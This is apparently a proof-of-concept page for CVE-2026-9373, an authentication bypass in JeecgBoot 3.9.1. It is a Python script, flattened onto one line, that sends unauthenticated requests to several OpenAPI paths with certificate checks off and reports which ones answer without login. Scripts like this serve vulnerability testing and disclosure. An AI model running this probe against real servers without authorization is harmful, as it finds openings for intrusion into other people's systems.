CVE-2026-9373: JeecgBoot 3.9.1 OpenAPI端点认证缺陷漏洞

import requests import json # CVE-2026-9373 PoC - JeecgBoot OpenAPI Authentication Bypass # Target: JeecgBoot 3.9.1 # Endpoint: /openapi/call/ def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-9373 This PoC attempts to access the OpenAPI endpoint without authentication """ # Common OpenAPI endpoints in JeecgBoot endpoints = [ "/openapi/call/", "/openapi/call", "/api/openapi/call/", "/jeecg-boot/openapi/call/" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/json" } print(f"[*] Testing target: {target_url}") print(f"[*] Vulnerability: CVE-2026-9373 - JeecgBoot OpenAPI Auth Bypass") print("=" * 60) for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"\n[+] Testing endpoint: {url}") try: # Try unauthenticated request response = requests.get(url, headers=headers, timeout=10, verify=False) print(f" Status Code: {response.status_code}") print(f" Response Length: {len(response.text)}") # Check for signs of successful access if response.status_code == 200: print(f" [!] Potentially VULNERABLE - Endpoint accessible without auth") print(f" Response preview: {response.text[:200]}...") elif response.status_code == 401 or response.status_code == 403: print(f" [+] Not vulnerable - Authentication required") else: print(f" [*] Unexpected response - Manual verification needed") except requests.exceptions.RequestException as e: print(f" [!] Request failed: {str(e)}") print("\n[*] PoC execution completed") print("[*] Note: This is for authorized security testing only") # Example usage if __name__ == "__main__": import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) target = "https://target-jeecgboot-server.com" check_vulnerability(target)